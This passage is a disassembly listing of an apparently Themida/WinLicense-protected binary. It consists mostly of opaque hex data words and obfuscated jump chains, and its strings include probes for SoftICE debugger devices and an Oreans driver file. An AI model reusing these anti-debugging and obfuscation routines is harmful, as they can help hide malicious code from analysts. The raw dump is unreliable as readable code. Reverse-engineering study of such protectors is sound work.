ebx, 4 push esi push ebx jmp loc_54F126 ; --------------------------------------------------------------------------- loc_558340: ; CODE XREF: Themida_:00555899j add esp, 4 jmp loc_553711 ; --------------------------------------------------------------------------- loc_558348: ; CODE XREF: Themida_:00544FF8j pop ecx push 7C2Ch jmp loc_548D49 ; --------------------------------------------------------------------------- loc_558353: ; CODE XREF: Themida_:0054B0C3j mov [esp], ebx mov ebx, 3D890FDBh push ebx jmp loc_54B692 ; --------------------------------------------------------------------------- loc_558361: ; CODE XREF: Themida_:0055786Dj mov dx, [esp] add esp, 2 add bl, al sub esp, 2 mov [esp], cx mov ch, 1Ah add bl, 0F1h sub bl, ch sub bl, 0F1h jmp loc_552772 ; --------------------------------------------------------------------------- db 1 dd 5DC381D3h, 8B23DD53h, 58E92414h, 5AFFFFA2h, 0FFAA43E9h db 0FFh ; --------------------------------------------------------------------------- loc_558399: ; CODE XREF: Themida_:00550AA6j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push eax mov ah, 0BFh jmp loc_5444B6 ; --------------------------------------------------------------------------- loc_5583AD: ; CODE XREF: Themida_:00554480j pop dword ptr [esp] pop esp add ebx, eax push esi mov esi, 0F6F5BFAh neg esi dec esi shl esi, 1 jmp loc_5491B6 ; --------------------------------------------------------------------------- db 5Fh dd 0FF013CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5583C9: ; CODE XREF: Themida_:00557CFDj pop ecx push eax mov eax, 42086A3Ch sub eax, 0A120427h jmp loc_5476B0 ; --------------------------------------------------------------------------- dw 14E8h dd 49000000h, 7674E763h, 0A8B9F941h, 0AD554254h, 9F9E4A08h dd 8BE61475h, 8B605AC1h, 0F18166D7h, 8161EA1Eh, 6081C2h dd 0BB00h, 0F7810000h, 19A8A1BAh, 0F91334FFh, 4860F59h dd 66000000h, 818FE2BEh, 7F27BDC1h, 74C18138h, 0F507624h dd 0E981C3BFh, 4283A1B4h, 5ECE8166h, 830F51C1h, 3, 8FC3B70Fh dd 0CE91A04h, 0B4000000h, 0A255890Eh, 0F7A4EC67h, 56DD9D39h dd 58D28060h, 14E9h, 9E241E00h, 35C364B1h, 0E0089377h dd 8D2708E0h, 0ADA1CF05h, 835F61DCh, 0FB8104EBh, 0FFFFA064h dd 29850Fh, 0BE90000h, 0 dd 3A3C5938h, 19038E30h, 2DE91B8Ch, 75000000h, 867D4C74h dd 5EE4FCB1h, 0DD347D5Ah, 4B1EFCC3h, 0F234DD5h, 882h, 0C8815000h dd 0C709D39h, 0FF4EE95Eh, 73BFFFFFh, 775C70C7h, 535536EBh dd 32335245h, 6C6C642Eh, 56444100h, 33495041h, 6C642E32h dd 544E006Ch, 2E4C4C44h, 6C6C64h, 807D7h, 70002h, 9000Fh dd 241003Ah, 0F8B1135h, 817E9h, 97ED6800h, 6CE90620h, 68FFFDE8h dd 6209876h, 0FDE862E9h, 997868FFh, 58E90620h, 68FFFDE8h dd 6209AA0h, 0FDE84EE9h, 9AF368FFh, 44E90620h, 68FFFDE8h dd 6209BE9h, 0FDE83AE9h, 9C5E68FFh, 30E90620h, 4FFFDE8h dd 324DC27Fh, 5B76EB8Ah, 88A318D9h, 0B0CB40E1h, 0B4F56A0Fh dd 7336B7C2h, 0A25FE3FEh, 0C96C122Dh, 0EFB63954h, 0C8DE7A7Ah dd 3F456A1Ch, 0B047853Ah, 0E12CF34Ch, 0A058077Fh, 86B3A4D8h dd 68B9CFEDh, 683F42F3h, 16B34923h, 0BF0CE0D0h, 0C5DBF97Ah dd 5F4A990Ch, 0A4FDDF24h, 0A8BEDC95h, 592CCC32h, 75ADCB10h dd 3214DD5Ch, 20C3C271h, 4EF10C81h, 468DE5A7h, 6F710C32h dd 695E7h, 40FD8600h, 6908B0CBh, 8E57D9F4h, 0B67FFE19h dd 0DC812641h, 29342667h, 516CE184h, 748F04B1h, 9FBA2FF2h dd 0E0E0551Ch, 69B62E44h, 0EBA03F45h, 59F07313h, 703113D2h dd 96AF6749h, 0A96A4C11h, 75FE3BFAh, 0DB091F57h, 0F03924D2h dd 8C9AB4Eh, 0AE504F94h, 63E5C0Bh, 0D32CB8CEh, 0E52A3924h dd 69943A36h, 51963F45h, 0D1941A33h, 4E179AB3h, 87FCAB6Ch dd 0AC4FCA6Ch, 63FCDE05h, 2D5F21C0h, 0E1F24629h, 60C57DFh dd 64FD0000h, 832944B9h, 0AE526DE2h, 0F0779207h, 1CA1BC31h dd 0B1A3E459h, 0E75C01A6h, 168B36CCh, 41B67BFBh, 6DE28326h dd 29BBD16Dh, 2D3F456Bh, 0F073A078h, 33B64F31h, 90A9072h dd 0D05654C3h, 310F81C5h, 59000000h, 1331F073h, 3B273FAh dd 6A76BA8Eh, 593924D2h, 0BF9A0FD6h, 0D99C217Ah, 0D7E94B2h dd 973F4344h, 9B1B3452h, 0A04661D6h, 97931BFDh, 61000005h dd 62031C54h, 201CDDBFh, 3924D2C4h, 0A4405692h, 0B23924D2h dd 9897466Dh, 2CF57415h, 6FCA2305h, 74ACE402h, 24D2865Eh dd 0DC8BD039h, 42E755E0h, 0E95EA33Fh, 836177AFh, 0D33306BEh dd 5DE0DF8Eh, 0ADE51F94h, 54501194h, 3306BE90h, 5F06A9C6h dd 0E695BC7Dh, 43611227h, 2755AC2Dh, 314F9439h, 0B5D39618h dd 0A6551C9Ch, 2660F731h, 177F724Bh, 0DBDF6FE7h, 82A94917h dd 8F52D4D3h, 0D09114ADh, 2872700Eh, 32BABCECh, 50Ah, 46BB66FBh dd 6FE48D2Bh, 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h dd 44DEF96Eh, 65092499h, 8D304BC0h, 0D36F6FE4h, 456C27BDh dd 0A27A2F3Fh, 0F6BB3B54h, 9E465C14h, 0B83924D2h, 9E9D4C73h dd 0C0785A1Bh, 0D2727288h, 0C7E43924h, 0A8577E3Bh, 415F06A9h dd 0FADC8528h, 444BC39h, 17C06104h, 0FF008668h, 8DC00AB9h dd 0F3AF3925h, 81C51DF6h, 0FFFED9AFh, 0F073F9FFh, 43F64F31h dd 2B0DD056h, 0F25436Ah, 3F42F16Eh, 0B479FD1Ah, 0FC3D188Dh dd 0BD405977h, 0F6D8991Ch, 6B2C0E35h, 2E669EBCh, 6B3CC18h dd 96458A33h, 24DB739Ah, 0EF03539h, 0E88C6978h, 62A8452Ch dd 216F5F3h, 831F388Eh, 8433F4D6h, 141DCh, 0A4D82600h dd 901586B3h, 32AEBCDh, 0F352CFE5h, 397E3F42h, 2790841Bh dd 1EF6A010h, 757825A1h, 0F5A4F1F0h, 5A44851Bh, 0A8910CE0h dd 3A97ADCBh, 0F65F4A24h, 688F56D9h, 670C2D86h, 57A73349h dd 569B592Ch, 0D59C1F38h, 0CA24560h, 0EFE5EEF6h, 0FC23684Ch dd 31D2DE3Ah, 60E8EA0Ch, 3E2h, 1E934ED3h, 47BC6503h, 74E9882Ch dd 9E13D259h, 0CA3FE283h, 0EB8C9789h, 2CB6D146h, 5DE1FC71h dd 65082398h, 0AB4747BCh, 456D4F95h, 7A52073Fh, 0CFED86B3h dd 456A2DB9h, 0CAE82D3Fh, 0F3680DB1h, 0B19356D8h, 0ACC9518h dd 0F2462820h, 8FA22A2Ch, 80000003h, 0A6C136E3h, 0CFEA5F06h dd 0F40F842Dh, 1C37AC75h, 2061D69Bh, 0DF82232Eh, 6B34F6Ah dd 2DF07691h, 5B1A9DB8h, 344AE6E6h, 3F456CB0h, 7319F1A6h dd 0B64F31F0h, 0A907233h, 0BAF2C309h, 24D340A4h, 22D11639h dd 24D4A426h, 26BED439h, 303924D1h, 0B08C4EBh, 0C481C5D7h dd 0FFFFFD76h, 48E98FA8h, 3EF6A566h, 4F31F073h, 9B495F97h dd 0BB3924D2h, 3108C776h, 950C2240h, 3B3F42F4h, 39BFD8F6h dd 0B0796B81h, 98DD3306h, 1FCE8F71h, 0AFD8D6AAh, 911881B8h dd 62DEED0h, 852CCFE8h, 1533E2A3h, 42F322FFh, 8F69AE3Fh dd 1E2601F9h, 6E0336DBh, 42973A50h, 5499910Dh, 53201972h dd 75BB1F35h, 42878AEFh, 0C46D0B24h, 0A6BFF715h, 0E17A5C01h dd 0F4B5975Eh, 92850CDh, 1DFFA350h, 4DCC6F6Eh, 68290BAAh dd 0EB1CC41h, 207FA567h, 41433DF5h, 299B9h, 3CF98A00h dd 650CACC7h, 9253D5F0h, 0BA7B021Dh, 0E0852A45h, 2D382A6Bh dd 5570E588h, 809B10CDh, 0ABC63BFEh, 0F4F46908h, 6DA24258h dd 0FFB43F45h, 29BD5427h, 9D9F5942h, 8AAF6E1Dh, 3BB5CBE9h dd 333F45C9h, 41AB4998h, 0F31A9D56h, 773ABCD5h, 0F5BC4059h dd 0FDAC71F6h, 24C96D88h, 3C528A42h, 3304A1A8h, 0BBBA69AEh dd 7FB77938h, 4FF2468Eh, 224C54Dh, 8C150000h, 0BB415CD1h dd 0C66A85FAh, 0E88FAA1Fh, 34B9D449h, 0C9BBFC71h, 0FF7439BEh dd 2EA35EE4h, 59CE9313h, 85FABB3Eh, 11D3E985h, 453F456Fh dd 86B3B890h, 37B9CFEDh, 8D3F456Ah, 7E2DF474h, 90E16F0Ah dd 1BB53B49h, 0D0C529C5h, 567DA447h, 0B2C80038h, 3304A832h dd 3130DF24h, 3872E78Eh, 27D6831Fh, 7E9CD568h, 0EA8B2D46h dd 0E9E6F108h, 258FA354h, 0BB7EFFFEh, 6D6918D9h, 3303FF81h dd 29C2A4E9h, 0E6FFE184h, 0E8326C7h, 13990A33h, 0B0AF7052h dd 0C283650Ch, 85677D9Bh, 0E13303FFh, 9E21BA9Ch, 7DC20D81h dd 0D1F8B364h, 47A037EFh, 0A467538Ah, 9CBB3AE9h, 0C8E35819h dd 6001A425h, 15235739h, 0E88EA7DFh, 0CFC8C845h, 793E3740h dd 300147CAh, 3CB84E99h, 991E8A62h, 83A21F26h, 51B394Dh dd 3304C0DFh, 84833277h, 0B0CB40E1h, 0E46640Dh, 4C0ECF8h dd 26256A33h, 5133E283h, 907237B8h, 14C60C0Fh, 405BD091h dd 8B9FA4BFh, 8B84D5EBh, 244BF68Ch, 6F536F06h, 53879D77h dd 0AA8EC2A4h, 0B567AD4Ah, 0DDF86D30h, 1AB39558h, 0DA73F994h dd 0EFB09253h, 51BFA1C8h, 0B738EA30h, 3CBBD4F2h, 68FA9375h dd 62D786ADh, 1BFDA447h, 782AA185h, 6A0BAEEBh, 0A653EF88h dd 0FD4340C4h, 0E82E4F23h, 931AB336h, 82FF0D2h, 2CF57893h dd 0B3E2770Eh, 2AFA8448h, 7F00997Bh, 5754D8BAh, 15DC5F11h dd 0A94D66A0h, 0C0E78A2Ch, 0C66F1211h, 71E88FA8h, 1BFD24D1h dd 70C9AB5Ah, 528AA8C9h, 3DECA939h, 0AF615C41h, 2A9C280h dd 43C08163h, 660F9B43h, 37AB5ABCh, 0A6CD881Ah, 8EE35631h dd 22A65A70h, 0A3E87A94h, 0DC8528C1h, 94142D67h, 7B2AEBCDh dd 5638F97Ch, 0FE83D0C0h, 256B6877h, 0D659F073h, 456C2D0Fh dd 0F87D96D0h, 0E4878635h, 0ED986DE7h, 139944ABh, 88AF7052h dd 8FC77F61h, 0A7666B79h, 0F7A6EB64h, 0CEB071F8h, 47F93F60h dd 6D88FDA4h, 0C1492BCAh, 0Ah, 0C9681029h, 0BF7726E7h dd 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h, 0C86D06E8h dd 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h, 53003D1Fh dd 0BE56E389h, 1D2D4D3Ah dd 26BECE81h, 81460DADh, 0AD6FBBF6h, 5EF3011Dh, 8704EB83h dd 685C241Ch, 3F33h, 68242C89h, 14ADh, 0BD241489h, 75147BD5h dd 6528F581h, 0F7450970h, 5CED81D5h, 45240619h, 50C9BF57h dd 0FD3159B5h, 148B545Fh, 4C48124h, 81000000h, 4ECh, 242C8900h dd 8B08428Fh, 89572414h, 4C781E7h, 83000000h, 3C8704C7h dd 2C8B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 0FDE066E9h, 931663FFh, 8A2E32B9h, 209EA7B8h, 0FFC50306h dd 0E5A942E0h, 6EC07F3Ch, 0B5530531h, 48D1F97Dh, 0B941C557h dd 0CA5CD10h, 0F6C4444Dh, 0D2CE4B6Fh, 62D1EB0Ch, 0EEF8E249h dd 0B4BD403h, 711B2E36h, 99B7B451h, 0A312C728h, 0B3153B52h dd 72E931h, 83600000h, 1E13B9BDh, 840F0006h, 5, 5DE9h dd 80006A00h, 850F303Eh, 8, 0E946006Ah, 35h, 0F333E80h dd 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh, 306A0000h dd 13E946h, 3E800000h, 8850F35h, 6A000000h, 2E94640h, 6A000000h dd 91858D00h, 50061E30h, 96240489h, 6A9650h, 31D595FFh dd 0C361061Eh, 204185C6h, 684D061Eh, 0DDC15D09h, 0A1243481h dd 0FF79F42Bh, 1E1455B5h, 0FA858D06h, 0FF061E38h, 0D58589D0h dd 0EB061E31h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h, 49535C2Eh dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 3D958BC0h dd 83061E20h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh dd 8B535019h, 40FB8C0h, 85890000h, 61E0CE9h, 0AC3A9D8Dh dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h, 40FB853h dd 85890000h, 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 0B58B585Bh dd 61E0205h, 13E8h, 49FA8100h, 2BF933A0h, 563520DDh, 36D6A6F4h dd 0A815DE1Bh, 0C12565BAh, 8E85A4Bh, 0D5000000h, 0A3F1BC65h dd 0E8D56564h, 0Ah, 58A12009h, 81270C4Fh, 0E6BAEFA1h, 59522078h dd 81C08B59h, 8CE2AAD1h, 4185C650h, 43061E20h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8FC35343h, 0C03C5F7Eh dd 58D8998h, 0E8061E2Ch, 4, 0BC8E6EFCh, 2840Fh, 0FA8B0000h dd 8E850h, 0F2740000h, 41A19B51h, 9E85CF2h, 5E000000h dd 59A6C17Ah, 7DE0DB62h, 595A5E50h, 424448Bh, 8BFE8B66h dd 24448900h, 55E8B904h, 8B5809DEh, 1E1C3DB5h, 0F1B5FF06h dd 6A061E02h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 6403C355h, 38FA858Dh, 0FFF9061Eh dd 295150D0h, 1E05B1B5h, 505E5906h, 0F240489h, 681h, 0BEEF8100h dd 6A2FFFDCh, 0B98D8B00h, 0E8061E00h, 4, 80h, 0BB666050h dd 8B6106B2h, 8B042444h, 6461BE00h, 4489189Eh, 52500424h dd 59F38B53h, 8B66310Fh, 58585AC8h, 1C018501h, 36A061Eh dd 303DB589h, 0BD8B061Eh, 61E2231h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E3D3A8C3h dd 1C19D89h, 36A061Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 5FC35646h, 4E81Bh, 0 dd 0D2BAC000h, 501BDF36h, 448BF08Bh, 57570424h, 595ACF8Bh dd 35B9008Bh, 8905AA60h, 0BF042444h, 5B363D2Bh, 5958958h dd 8D061E30h, 20A0259Dh, 0BD8D0906h, 50061E29h, 1C89D78Bh dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 23061DBBh, 8E86BA66h, 0F40D0FFh, 21385h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 2B5818F0h, 1E32358Dh, 0D08B9006h, 2AB96650h dd 6A90A5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 5801AEC3h, 0B58B29AFh, 61E0A05h, 8B66006Ah dd 2BB668F2h, 6DBA7E54h, 811C2453h, 2B362434h, 0F2817E54h dd 242FDF0Ah, 8D8B036Ah, 61E2C55h, 36A006Ah, 2D19B58Bh dd 0ED68061Eh, 0E8C4410Dh, 0Bh, 16CDAFDCh, 9E375955h, 66E63A62h dd 5E92FEBFh, 0ED243481h, 8904410Dh, 1E03B195h, 31BE6606h dd 2E9D8D38h, 8B0620A0h, 1E02418Dh, 0CA8B9306h, 2880F50h dd 8A000000h, 6A93F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 4D932AC3h, 0FF548F81h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0FC24894h, 8B66935Eh, 850F40CEh, 100h, 0F1A3BA66h, 52509058h dd 0B8BA310Fh, 5A1708C4h, 4FB55058h, 92CA8090h, 0BF0F006Ah dd 94CC68C9h, 10E8CE32h, 0F8000000h, 879B3FC7h, 101B2003h dd 0AFD17C6Dh, 507DA828h, 6E952h, 21EF0000h, 0E5A08B83h dd 8B66310Fh, 59585AD6h, 0B4240481h, 8B31CD6Bh, 0F036AD7h dd 68Bh, 4DBD8900h, 6A061E08h, 2EF3BE00h, 36A612Ah, 820Fh dd 55680000h, 66E471B0h, 81AE2FBEh, 0B0552434h, 6A2471h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 555361C3h, 9D8DBFF4h, 620A039h, 0DE950F9h, 7A000000h dd 3039309Bh, 93612477h, 0F2767772h, 0FF241C89h, 9E9D0h dd 0DCAB0000h, 0CE605F12h, 4009254Bh, 2A850Fh, 89580000h dd 1E0A198Dh, 1BDE906h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0C88BEBC3h, 0B589D88Bh dd 61E2CD1h, 4BFAB70Fh, 5880Fh, 0A2BA0000h, 581741AEh dd 2EC98589h, 85C6061Eh, 61E2041h, 0C9B70F43h, 4E8h, 764AA700h dd 0AE8C0h, 0FA980000h, 56A242Ah, 0CB67D726h, 0CA40BF50h dd 5F5A5BE9h, 24448B50h, 50BE6604h, 0E8008B53h, 0Ch, 0DCDDEF7Dh dd 0B05C1B1Ch, 106CA522h, 310F5250h, 895A585Ah, 57042444h dd 65DBC8BEh, 6A585A5Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 51B8C357h, 72DE8166h dd 8E95F26h, 67000000h, 8BB8647h, 0FF29C3B8h, 1E02F1B5h dd 31B58906h, 8D061E30h, 1E38FA85h, 58D0F06h, 66000000h dd 44AEDE81h, 38D0Fh, 0B70F0000h, 29D0FFF7h, 1E2B39BDh dd 0EE906h, 6DD90000h, 720457ABh, 9C82F492h, 2E43030h dd 5800F93h, 0BF000000h, 709EAD97h, 77B99350h, 0FF40C3D2h dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E821F38Bh, 0Fh, 3CAE9F31h, 6BA3DE01h, 23D92754h dd 60AADF5Eh, 2C85BD31h, 94B6061Eh, 9D8D5E61h, 61E71ABh dd 0F87CF281h, 1B85810h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4C4EC352h dd 0C1D1B63Fh, 8BC9B553h, 1E1981BDh, 6AE3FF06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9A2EC355h, 44357E45h, 664008F3h, 8B2C11BEh, 0F18D89C1h dd 8B061E1Ah, 8319B5C0h, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535019h, 40FB8C0h, 85890000h, 61E0D19h dd 0ACA19D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h dd 40FB853h, 85890000h, 61E0D19h, 0A9429D8Dh, 0D3FF0620h dd 0B501585Bh, 61E2DC5h, 6810Fh, 0E6810000h, 48EA1AE5h dd 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h, 4C6E6957h dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h dd 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 620A75Dh dd 0A759858Dh, 8D500620h, 20A6C385h, 1685006h, 0FF800000h dd 20A76995h, 0FF196A06h, 20A75DB5h, 6A016A06h, 0F2858D00h dd 500620A6h, 0A759B5FFh, 95FF0620h, 61E21E5h, 0A759B5FFh dd 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h, 61E1FE5h dd 5D8589C3h, 8D0620A7h, 20A75985h, 858D5006h, 620A6C3h dd 16850h, 95FF8000h, 620A769h, 858D046Ah, 620A75Dh, 6A046A50h dd 1C858D00h, 500620A7h, 0A759B5FFh, 95FF0620h, 61E21E5h dd 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h dd 61E1FE5h, 5D8589C3h, 8D0620A7h, 20A75985h, 858D5006h dd 620A6C3h, 16850h, 95FF8000h, 620A769h, 858D046Ah, 620A75Dh dd 6A046A50h, 4858D00h, 500620A7h, 0A759B5FFh, 95FF0620h dd 61E21E5h, 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh dd 95FF0620h, 61E1FE5h, 5D8589C3h, 8D0620A7h, 20A75985h dd 858D5006h, 620A6C3h, 16850h, 95FF8000h, 620A769h, 858D046Ah dd 620A75Dh, 6A046A50h, 2F858D00h, 500620A7h, 0A759B5FFh dd 95FF0620h, 61E21E5h, 0A759B5FFh, 95FF0620h, 620A765h dd 0A759B5FFh, 95FF0620h, 61E1FE5h, 5D8589C3h, 8D0620A7h dd 20A75985h, 858D5006h, 620A6C3h, 16850h, 95FF8000h, 620A769h dd 858D046Ah, 620A75Dh, 6A046A50h, 0DF858D00h, 500620A6h dd 0A759B5FFh, 95FF0620h, 61E21E5h, 0A759B5FFh, 95FF0620h dd 620A765h, 0A759B5FFh, 95FF0620h, 61E1FE5h, 85BD83C3h dd 61E13h, 0B840Fh, 9D8B0000h, 61E1385h, 894CC383h, 0BD83C303h dd 61E1385h, 0B840F00h, 8B000000h, 1E13859Dh, 50C38306h dd 83C30389h, 1E1385BDh, 840F0006h, 0Bh, 13859D8Bh, 0C383061Eh dd 0C3038954h, 1385BD83h, 0F00061Eh, 0B84h, 859D8B00h dd 83061E13h, 38958C3h, 85BD83C3h, 61E13h, 0B840Fh, 9D8B0000h dd 61E1385h, 895CC383h, 60C3C303h, 0A75D8589h, 858D0620h dd 620A759h, 0C3858D50h, 500620A6h, 168h, 6995FF80h, 6A0620A7h dd 5D858D04h, 500620A7h, 6A046Ah, 0A754858Dh, 0FF500620h dd 20A759B5h, 0E595FF06h, 83061E21h, 1E1D79BDh, 840F0006h dd 0Ch, 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h dd 61E1FE5h, 8960C361h, 20A75D85h, 59858D06h, 500620A7h dd 0A6C3858Dh, 68500620h, 80000001h, 0A76995FFh, 46A0620h dd 0A75D858Dh, 6A500620h, 8D006A04h, 20A73685h, 0B5FF5006h dd 620A759h, 21E595FFh, 0BD83061Eh, 61E1D79h, 0C840F00h dd 0FF000000h, 20A759B5h, 6595FF06h, 0FF0620A7h, 20A759B5h dd 0E595FF06h, 61061E1Fh, 858960C3h, 620A75Dh, 0A759858Dh dd 8D500620h, 20A6C385h, 1685006h, 0FF800000h, 20A76995h dd 8D046A06h, 20A75D85h, 46A5006h, 858D006Ah, 620A73Dh dd 59B5FF50h, 0FF0620A7h, 1E21E595h, 79BD8306h, 61E1Dh dd 0C840Fh, 0B5FF0000h, 620A759h, 0A76595FFh, 0B5FF0620h dd 620A759h, 1FE595FFh, 0C361061Eh, 5D858960h, 8D0620A7h dd 20A75985h, 858D5006h, 620A6C3h, 16850h, 95FF8000h, 620A769h dd 858D046Ah, 620A75Dh, 6A046A50h, 45858D00h, 500620A7h dd 0A759B5FFh, 95FF0620h, 61E21E5h, 1D79BD83h, 0F00061Eh dd 0C84h, 59B5FF00h, 0FF0620A7h, 20A76595h, 59B5FF06h dd 0FF0620A7h, 1E1FE595h, 60C36106h, 0A75D8589h, 858D0620h dd 620A759h, 0C3858D50h, 500620A6h, 168h, 6995FF80h, 6A0620A7h dd 5D858D04h, 500620A7h, 6A046Ah, 0A74C858Dh, 0FF500620h dd 20A759B5h, 0E595FF06h, 83061E21h, 1E1D79BDh, 840F0006h dd 0Ch, 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h dd 61E1FE5h, 0C760C361h, 20A75D85h, 106h, 59858D00h, 500620A7h dd 0A6C3858Dh, 68500620h, 80000002h, 0A76995FFh, 0C00B0620h dd 0F840Fh, 85C70000h, 620A75Dh, 0 dd 4DE9h, 8D046A00h, 20A75D85h, 46A5006h, 858D006Ah, 620A6D7h dd 59B5FF50h, 0FF0620A7h, 1E21E595h, 0FC00B06h, 0F84h dd 5D85C700h, 620A7h, 0E9000000h, 0Ah, 0A75D85C7h, 10620h dd 0B5FF0000h, 620A759h, 1FE595FFh, 8B61061Eh, 20A75D85h dd 8960C306h, 20A75D85h, 59858D06h, 500620A7h, 0A6C3858Dh dd 68500620h, 80000001h, 0A76995FFh, 46A0620h, 0A75D858Dh dd 6A500620h, 8D006A04h, 20A6D785h, 0B5FF5006h, 620A759h dd 21E595FFh, 0BD83061Eh, 61E1D79h, 0C840F00h, 0FF000000h dd 20A759B5h, 6595FF06h, 0FF0620A7h, 20A759B5h, 0E595FF06h dd 61061E1Fh, 858960C3h, 620A75Dh, 0A759858Dh, 8D500620h dd 20A6C385h, 1685006h, 0FF800000h, 20A76995h, 8D046A06h dd 20A75D85h, 46A5006h, 858D006Ah, 620A6E9h, 59B5FF50h dd 0FF0620A7h, 1E21E595h, 79BD8306h, 61E1Dh, 0C840Fh, 0B5FF0000h dd 620A759h, 0A76595FFh, 0B5FF0620h, 620A759h, 1FE595FFh dd 0C361061Eh, 204185C6h, 6852061Eh, 0ADE47B07h, 1E9DB5FFh dd 95FF061Eh, 61E1B3Dh, 0A7698589h, 85C60620h, 61E2041h dd 0E56852h, 0B5FF902Eh, 61E1E9Dh, 1B3D95FFh, 8589061Eh dd 620A765h, 204185C6h, 6852061Eh, 0B9BF1235h, 1E9DB5FFh dd 95FF061Eh, 61E1B3Dh, 21E58589h, 85C6061Eh, 61E2041h dd 10346852h, 0B5FF9878h, 61E1E9Dh, 1B3D95FFh, 8589061Eh dd 61E1FE5h, 204185C6h, 6852061Eh, 0C005DBD4h, 1E9DB5FFh dd 95FF061Eh, 61E1B3Dh, 0E098589h, 0BE8061Eh, 0AB000000h dd 472E3996h, 0DD9E997h, 8A58BA46h, 9BC081DDh, 33000074h dd 14E9F6h, 4FEF0000h, 6784F0BDh, 889AF3EEh, 0CC9CDEB0h dd 0EC6F7DD7h, 34FFFBECh, 0DF8B6606h, 0C7816659h, 0C181B4C2h dd 1DEC2213h, 81FBBF0Fh, 6527B5E9h, 18800F32h, 0E9000000h dd 13h, 0C3958815h, 64D7BDF4h, 70C4F2D9h, 90AF4933h, 81567200h dd 35B189F1h, 0F52607Ah, 8158F0B7h, 0D3CA5EF1h, 0C896115h dd 1860F30h, 0FC000000h, 890Fh, 0EE810000h, 585ABAF3h dd 81DE8B66h, 5ABAEFC6h, 0D98B6658h, 8C0CFE81h, 850FFFFFh dd 0FFFFFF86h, 0FE8D68Bh, 0DE000000h, 7E18BB76h, 83D3C892h dd 9CFB637Dh, 8A0FA93Bh, 5, 0F35498BFh, 6660597Bh, 0F8953DBBh dd 0C9C18161h, 0B6000073h, 0E8C02BBAh, 0Ah, 0EEA4C5A6h dd 2C273152h, 8E8F1B2h, 3B000000h, 8F6331D6h, 0F873386h dd 84h, 8B5F5A00h, 0F680011Ch, 0F9C3810Bh, 6612242Eh, 8625F681h dd 38BCF381h, 81F517E4h, 0F36885C3h, 0EAD68163h, 8923827Dh dd 860F011Ch, 9, 0BEB86660h, 0D1D780D5h, 1E88361h, 56491BBFh dd 48484873h, 0E436BF66h, 8CE0F881h, 850FFFFFh, 0FFFFFFAFh dd 7E9h, 85F14600h, 0C85ADBACh, 20EE9h, 61433300h, 746F6E6Eh dd 69727720h, 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h dd 20656B61h, 65727573h, 61687420h, 68742074h, 66207369h dd 20656C69h, 6E207369h, 6220746Fh, 676E6965h, 65737520h dd 79622064h, 6F6E6120h, 72656874h, 6F727020h, 6D617267h dd 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 204185C6h, 6847061Eh, 0E3E45B86h dd 2F1B5FFh, 858D061Eh, 61E38FAh, 468D0FFh, 8D000001h dd 1E06519Dh, 0D0FF5306h, 0FDB58D50h, 8B0620B0h, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4185C6A4h dd 43061E20h, 8E6EFC68h, 0F1B5FFBCh, 8D061E02h, 1E38FA85h dd 8DD0FF06h, 1E0651B5h, 68006A06h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 204185C6h, 6857061Eh, 0A69BEE56h dd 2F1B5FFh, 858D061Eh, 61E38FAh, 0BD8DD0FFh, 